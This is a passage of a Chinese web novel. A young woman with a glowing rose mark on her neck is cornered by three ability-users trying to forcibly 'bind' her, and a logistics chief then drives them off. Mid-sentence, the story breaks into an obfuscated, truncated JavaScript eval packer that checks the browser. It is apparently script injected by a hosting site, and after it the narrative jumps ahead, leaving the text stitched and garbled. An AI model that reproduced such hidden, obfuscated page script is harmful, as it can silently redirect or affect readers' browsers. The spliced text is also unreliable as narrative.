孙小雅手里的仪器发出嗡嗡的声响,红光顺着纹路流动,与蓝光交织在一起,形成一道扭曲的光柱,直冲夜空。 林星光下意识地捂住眼睛,等再睁开时,发现那道光柱竟然形成了一个半透明的界面,上面的符号她一个都不认识,但很清晰,正中央的红色倒计时正在飞快跳动。 “快!引导共振!”孙小雅的声音带着点急促。 赵锐和李文同时发力,黑色能量顺着光柱往上涌,界面上的倒计时加速跳动,发出刺耳的电子音:“能量共振中……标记目标锁定……” 这么大的动静,他们难道就不怕引来其他人吗? 林星光的心跳快得像要炸开,颈侧的印记烫得几乎要灼穿皮肤。她死死咬住嘴唇,强迫自己小心翼翼地往后退,不敢发出任何声响。 “目标距离过远……能量不足……”电子音突然变得断断续续。 赵锐骂了一句,转身就要往培育区这边冲:“老子去把她抓过来!” “别去!”孙小雅一把拉住他,“她身上有那个东西,你抓过来也无济于事。我们再加点能量,直接绕过那个屏障!” 赵锐甩开她的手,胸膛剧烈起伏:“还加?老子的能量都快透支了!” “再加一点!就一点!”孙小雅的眼睛发红,手里的仪器红光闪烁不定,“马上就要成功了!” 李文咬了咬牙,猛地加大异能输出,黑色雾气几乎要把他整个人裹住:“我来!” 就在这时,林星光颈侧的印记突然炸开一股滚烫的热流,如岩浆一样,顺着血管直冲脑海。她忍不住闷哼一声,感觉自己的精神力像是被点燃了,顺着印记往外涌。 “呃——” 培育池后面的动静惊动了塔基下的三个人。赵锐猛地转头,看到正在后撤的林星光,眼睛瞬间亮了:“找到了!” 他抬腿就往这边冲,强化系的异能让他的脚步踩在金属地面上,发出咚咚的声响。 林星光心里一惊,转身就跑。 培育区的货架错综复杂,她平时巡夜时早就摸清了路线,此刻凭着记忆往深处钻。 身后的脚步声越来越近,赵锐的怒骂声紧随其后:“别跑!给老子站住!” 她不敢回头,只是拼命往前跑,耳边全是自己的呼吸声和脚步声。 颈侧的印记还在发烫,精神力源源不断地涌出来,让她的脚步变得更轻快了些。 “往哪儿跑!” 赵锐的声音就在身后,林星光能感觉到一股能量朝着自己的后背袭来。她下意识地往旁边一躲,黑色能量擦着她的肩膀过去,打在旁边的货架上,金属货架瞬间被腐蚀出一个黑洞。 他不是强化系的吗?为什么能量能外放了?!居然还有腐蚀性?! 但林星光来不及想太多,因为赵锐咒骂了一声,再次发起了攻击。 林星光跑得更快了,她知道前面有个通往维修间的通道,老王今晚可能在里面加班。 她拼尽全力往前冲,就在快要冲到通道口的时候,孙小雅和李文突然从旁边的岔路口冲了出来,挡住了她的去路。 “跑啊?怎么不跑了?”孙小雅的脸上带着诡异的笑容,手里的仪器红光扫过林星光的颈侧。 林星光停下脚步,被逼在货架和两人之间,进退两难。 颈侧的印记烫得厉害,精神力在体内翻涌,她能感觉到自己的感知变得前所未有的敏锐,三个人身上的黑色能量在她眼里无所遁形。 李文的声音发颤:“跟我们回去绑定,我们可以带你进核心区。” “进核心区?”林星光笑了笑,眉眼弯弯,却没什么温度,“你们觉得,我会信天上掉馅饼的事?” “这是难得的机会!”赵锐冲了过来,站在李文身边,三个人形成合围之势,“你一个普通人,在这前哨站能有什么前途?绑定之后,你也能觉醒异能,跟我们一样进核心区,过好日子!” 林星光没说话,只是盯着他们身上的黑色能量,邪恶又不详。 这些黑色能量虽然凝实,却很不稳定,随时都会崩塌。颈侧的印记轻轻跳动着,一股温和的能量涌出来,在她周身形成一层薄薄的屏障。 “别废话了。”孙小雅的仪器红光越来越亮,“她不肯配合,直接强行绑定!” 话音刚落,三个人同时发起攻击。赵锐的拳头带着黑色雾气直冲她的面门,李文的水珠凝结成冰锥射向她的四肢,孙小雅的仪器也发出一道红光,指向她的颈侧。 林星光的身体比大脑反应更快,凭着巡夜时练出来的灵活走位,躲开了赵锐的拳头和李文的冰锥。但孙小雅的红光太快,她没能完全躲开,红光擦着她的颈侧飞过,打在后面的货架上,发出滋滋的声响。 颈侧的印记猛地一烫,一股更强烈的热流涌出来,林星光感觉自己的精神力瞬间暴涨,她下意识地抬手,精神力顺着指尖往外冲,形成一道无形的屏障,挡住了三个人的再次攻击。 “什么?!”赵锐瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这时,维修间的门又被推开,老陈带着两个后勤科的同事走了进来。他显然是收到了消息,脸上带着怒气:“赵锐,李文,孙小雅,你们三个大晚上的不睡觉,围着一个实习生干什么?” 看到老陈来了,赵锐他们的气焰彻底弱了下去。老陈是后勤科负责人,在站长面前说话还算有分量,而且身后还跟着两个人。他们三个虽然是异能者,能打得过,但真闹起来,他们也讨不到好。毕竟,前哨站可不止他们三个异能者。 “陈叔,我们……”孙小雅还想解释。 “别我们我们的!”老陈打断她,“能量接收塔那边的传感器报警,是不是你们搞的鬼?站长刚发通知,调查组提前来了,还有几个小时就要落地,你们想给前哨站惹麻烦?” 三个人面面相觑,没人敢说话。 “现在,立刻,马上回去睡觉!”老陈指着门口,“再在这里闹事,我直接上报站长!” 赵锐咬了咬牙,狠狠瞪了林星光一眼,转身往外走。李文和孙小雅也赶紧跟上,临走时,孙小雅回头看了林星光一眼,眼神里带着不甘和怨毒。 看着他们的背影消失在门口,林星光才松了口气,后背的衣服已经被冷汗浸湿了。 “谢谢你,陈叔,谢谢你,王叔。”她走出来,对着两人鞠躬道谢。 “谢什么谢,是我叫你去的。”老陈摆摆手,脸上的怒气消了点,“你以后离他们远点,谁知道他们刚刚神神叨叨的在能量接收塔下面搞什么鬼呢。” 一般人看不到能量,所以老陈琢磨半天也没弄明白那三个人到底在干什么。 老王也点点头:“是啊,小林,你也太老实了,可不能让人随便欺负。以后晚上尽量别一个人出来,有事喊上同事。” “我知道了,谢谢你们。”林星光的眼眶有点发热。 老陈和老王又安慰了她几句,才让她回宿舍休息。 走在回宿舍的路上,林星光的脚步慢了下来。颈侧的印记温温的,轻轻跳动着,像是在跟她交流。她抬手摸了摸印记,心里默念:“刚才谢谢你。” 印记轻轻跳了一下,一股淡淡的暖意涌出来,顺着指尖往上爬,像是在回应她。 回到宿舍,林星光反锁上门,靠在门板上,长长地吐了口气。她走到镜子前,拉开衣领,看着颈侧的蔷薇印记。淡粉色的花瓣在灯光下泛着极淡的光泽,比之前更鲜活了些。 “他们好像知道你的存在了。”她轻声说。 印记没回应,只是轻轻跳动着。 林星光笑了笑,坐在书桌前,闭上眼睛,试着把精神力探进印记里。这次比之前顺利多了,精神力刚靠近,就被一股温和的暖意裹住,那些粉色光点顺着她的精神力往上爬,在她的脑海里形成一片小小的蔷薇花海。 “我们现在该怎么办?”她问。 粉色光点跳动了一下,像是在思考。过了一会儿,一个清冷的声音在她脑海里响起:“入梦。”